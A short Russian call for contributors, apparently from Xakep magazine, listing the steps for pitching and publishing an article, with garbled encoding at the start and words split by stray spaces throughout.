• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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